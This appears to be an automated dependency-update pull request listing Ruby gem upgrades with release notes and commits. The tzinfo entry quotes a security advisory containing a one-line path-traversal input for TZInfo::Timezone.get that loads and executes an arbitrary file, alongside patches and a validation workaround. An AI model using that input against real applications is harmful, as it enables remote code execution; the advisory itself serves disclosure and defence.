v3.1.1fix: Include all lib/ filesAdd screenshot of example in READMEUpdate .travis.ymlUpdate .travis.ymlRuboCop: configure new 0.81.0 rulesPin RuboCop to 0.81.0 to support Ruby 2.3v3.1.0v3.1.0 Changelog(chore) Add v0.80 RuboCop copsCI: Use JRuby 9.2.11.0CI: Update matrixFix RuboCop offenses and warnings about .rubocop.ymlGemspec: List files using RubyCI: Use 2.4.6, 2.5.5, 2.6.3, jruby-9.2.7.0 (#94)Use rubocop latest, drop support for Ruby 2.1, 2.2 (#91)CI: Allow Bundler 2, add Rubies to CI matrix (#89)Remove specific TargetRubyVersion from .rubocop.yml (#88)README: Add cross_out, strike to presenters docsAdd test with non-existent :color (#86)introducing #cross_out (#84)Simplify `wrap_with_sgr` method (#85)Merge pull request #83 from chiting/add-hex-checkMake rubocop happyAdd hexadecimal format checkingAdd unit test for non hexadecimal stringMerge pull request #81 from nicolasleger/patch-1[CI] Test against new Ruby 2.5 and patchedUpdate changelog
βοΈ rb-fsevent (indirect, 0.10.3 β 0.11.2) Β· Repo
Release Notes
0.11.2
- Avoid modifying string literals #91
0.11.1
- rescue Errno::EBADF when closing pipe #92
0.11.0
- Add arm64 arch to support Apple M1 guard/rb-fsevent#88
0.10.4
- Remove bundler development dependency #85
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 14 commits:
Release version 0.11.2Merge pull request #91 from danielmorrison/frozen-string-literalsRelease version 0.11.1Merge pull request #92 from estraph/raph/rescue-errbadf-on-closerescue Errno::EBADF when closing pipeAvoid modifying string literalsRelease version 0.11.0Merge pull request #82 from richardkmichael/patch-1Merge pull request #88 from kevintom/add-m1-supportadd arm64 arch to support Apple M1Update gem version to 0.10.4Merge pull request #85 from tyler-ball/patch-1Remove bundler development dependencyUpdate the "full event information" example.
βοΈ rb-inotify (indirect, 0.10.0 β 0.11.1) Β· Repo
Commits
See the full diff on Github. The new version differs by 14 commits:
Bump patch version.Improve crawling performance of `Notifier#watch` (#109)Bump minor version.Add GitHub actions. (#110)Prevent race condition in Notifier#run / #stopClean up testsTest against Ruby 2.7.Fix formatting.Bump version.Remove rbx-3.Limit changing auto close behavior off to just JRuby. This limits risk of MRIFixes #91. Make IO resources not autoclose.allow stopping a notifier from within an event callbackUpdate documentation regarding resource limits. Fixes #61.
βοΈ rouge (indirect, 2.2.1 β 3.30.0) Β· Repo Β· Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ rubyzip (indirect, 2.0.0 β 2.4.1) Β· Repo Β· Changelog
Release Notes
2.3.2 (from changelog)
- A "dummy" release to warn about breaking changes coming in version 3.0. This updated version uses the Gem
post_install_messageinstead of printing toSTDERR.
2.3.1
This is a "dummy" release to warn about breaking changes coming in version 3.0.
2.3.0
- Fix frozen string literal error #431
- Set
OutputStream.write_buffer's buffer to binmode #439- Upgrade rubocop and fix various linting complaints #437 #440
Tooling:
- Add a
bin/consolescript for development #420- Update rake requirement (development dependency only) to fix a security alert.
2.2.0
- Add support for decompression plugin gems #427
2.1.0
- Fix (at least partially) the
restore_timesandrestore_permissionsoptions toZip::File.new#413
- Previously, neither option did anything, regardless of what it was set to. We have therefore defaulted them to
falseto preserve the current behavior, for the time being. If you have explicitly set either totrue, it will now have an effect.- Fix handling of UniversalTime (
mtime,atime,ctime) fields. #421- Previously,
Zip::Filedid not pass the options toZip::Entryin some cases. #423- Note that
restore_timesin this release does nothing on Windows and only restoresmtime, notatimeorctime.- Allow
Zip::File.opento take an options hash likeZip::File.new#418- Always print warnings with
warn, instead of a mix ofputsandwarn#416- Create temporary files in the system temporary directory instead of the directory of the zip file #411
- Drop unused
tmpdirrequirement #411Tooling
- Move CI to xenial and include jruby on JDK11 #419
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ sawyer (indirect, 0.8.2 β 0.9.3) Β· Repo
Release Notes
0.9.3
What's Changed
- Use https in Gemfile source by @gecunps in #76
- CI: Tell dependabot to update GH Actions by @olleolleolle in #77
- Bump actions/checkout from 4 to 5 by @dependabot[bot] in #78
- Rakefile: add Bundler gem tasks by @olleolleolle in #80
New Contributors
- @gecunps made their first contribution in #76
- @olleolleolle made their first contribution in #77
- @dependabot[bot] made their first contribution in #78
Full Changelog: v0.9.2...v0.9.3
0.9.1
What's Changed
New Contributors
Full Changelog: v0.9.0...v0.9.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 20 commits:
Merge pull request #80 from lostisland/add-bundle-gem-tasks-to-rakefileRakefile: add Bundler gem tasksVersion bump to 0.9.3Fix agent_test.rbCreate publish.ymlMerge pull request #78 from lostisland/dependabot/github_actions/actions/checkout-5Bump actions/checkout from 4 to 5Merge pull request #77 from lostisland/ci-gh-actions-updateCI: Tell dependabot to update GH ActionsMerge pull request #76 from gecunps/masterUse httpsCI: Use actions/checkout@v4Release 0.9.2Version bump to 0.9.2Add `dig` and `fetch` to `Sawyer::Resource` (#74)Version bump to 0.9.1Specify correct minimal Faraday version (#73)Version bump to 0.9.0Enhance Faraday Support (#72)Allow closing underlying connection. (#67)
βοΈ typhoeus (indirect, 1.3.1 β 1.6.0) Β· Repo Β· Changelog
Release Notes
1.6.0 (from changelog)
- Add Ruby 4.0 to CI matrix and update checkout action to v6. (Geremia Taglialatela, #744)
- Require Ethon >= 0.18.0, removing the upper bound constraint. (Geremia Taglialatela, #742)
- Update RubyDoc link in gemspec metadata. (Felipe Mesquita, #737)
- Update gem version badge and remove Code Climate badge. (Felipe Mesquita, #736)
1.5.0 (from changelog)
- Update gemspec with metadata and remove extra files from the bundled gem. (Felipe Mesquita, #734)
- Require Ruby 2.6+ and simplify Gemfile. (Felipe Mesquita, #733)
- Add support for URI objects in
Typhoeus.stub(). (Katelyn Schiesser, #732)- Add explicit require for logger and ostruct gems for Ruby 3.5+ compatibility. (Felipe Mesquita, #729)
- Add Ruby 3.4 to CI matrix. (y-yagi, #728)
- Support curl 8.9 error message changes in tests. (Mamoru TASAKA, #724)
- Add Ruby 3.2 and 3.3 to CI, drop Ruby 2.5, lock ethon < 0.16.0. (y-yagi, #716)
- Fix typo in comment: "reponse" β "response". (George Brocklehurst, #700)
1.4.0 (from changelog)
1 feature
3 Others
- Yard warning fixes (@olleolleolle in #622)
- Add more Ruby versions in CI matrix (@olleolleolle in #623)
- Use of argument passed in function instead of
attr_reader(@v-kolesnikov in #625)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ tzinfo (indirect, 1.2.5 β 2.0.6) Β· Repo Β· Changelog
Security Advisories π¨
π¨ TZInfo relative path traversal vulnerability allows loading of arbitrary files
Impact
Affected versions
- 0.3.60 and earlier.
- 1.0.0 to 1.2.9 when used with the Ruby data source (tzinfo-data).
Vulnerability
With the Ruby data source (the tzinfo-data gem for tzinfo version 1.0.0 and later and built-in to earlier versions), time zones are defined in Ruby files. There is one file per time zone. Time zone files are loaded with
requireon demand. In the affected versions,TZInfo::Timezone.getfails to validate time zone identifiers correctly, allowing a new line character within the identifier. With Ruby version 1.9.3 and later,TZInfo::Timezone.getcan be made to load unintended files withrequire, executing them within the Ruby process.For example, with version 1.2.9, you can run the following to load a file with path
/tmp/payload.rb:TZInfo::Timezone.get("foo\n/../../../../../../../../../../../../../../../../tmp/payload")The exact number of parent directory traversals needed will vary depending on the location of the tzinfo-data gem.
TZInfo versions 1.2.6 to 1.2.9 can be made to load files from outside of the Ruby load path. Versions up to and including 1.2.5 can only be made to load files from directories within the load path.
This could be exploited in, for example, a Ruby on Rails application using tzinfo version 1.2.9, that allows file uploads and has a time zone selector that accepts arbitrary time zone identifiers. The CVSS score and severity have been set on this basis.
Versions 2.0.0 and later are not vulnerable.
Patches
Versions 0.3.61 and 1.2.10 include fixes to correctly validate time zone identifiers (commit 9eddbb5 for 0.3.x and commit 9905ca9 for 1.2.x).
Note that version 0.3.61 can still load arbitrary files from the Ruby load path if their name follows the rules for a valid time zone identifier and the file has a prefix of
tzinfo/definitionwithin a directory in the load path. For example if/tmp/uploadwas in the load path, thenTZInfo::Timezone.get('foo')could load a file with path/tmp/upload/tzinfo/definition/foo.rb. Applications should ensure that untrusted files are not placed in a directory on the load path.Workarounds
As a workaround, the time zone identifier can be validated before passing to
TZInfo::Timezone.getby ensuring it matches the regular expression\A[A-Za-z0-9+\-_]+(?:\/[A-Za-z0-9+\-_]+)*\z.For more information
If you have any questions or comments about this advisory:
- Open an issue in the tzinfo repository.
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
βοΈ unicode-display_width (indirect, 1.6.0 β 1.8.0) Β· Repo Β· Changelog
Release Notes
1.8.0 (from changelog)
- Unicode 14.0 (last release of 1.x)
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 13 commits:
Release v1.8.0Update CHANGELOGUpdate Unicode version numberUnicode 14.0Release v1.7.0Unicode 13Release v1.6.1Fix that ambiguous and overwrite options where ignored for emoji-measuringUpdate license yearUpdate gemspectravis: Allow JRuby to failAdd Ruby 2.7 to list of supported RubiesUpdate travis Rubies
βοΈ yell (indirect, 2.2.0 β 2.2.2) Β· Repo
Sorry, we couldnβt find anything useful about this release.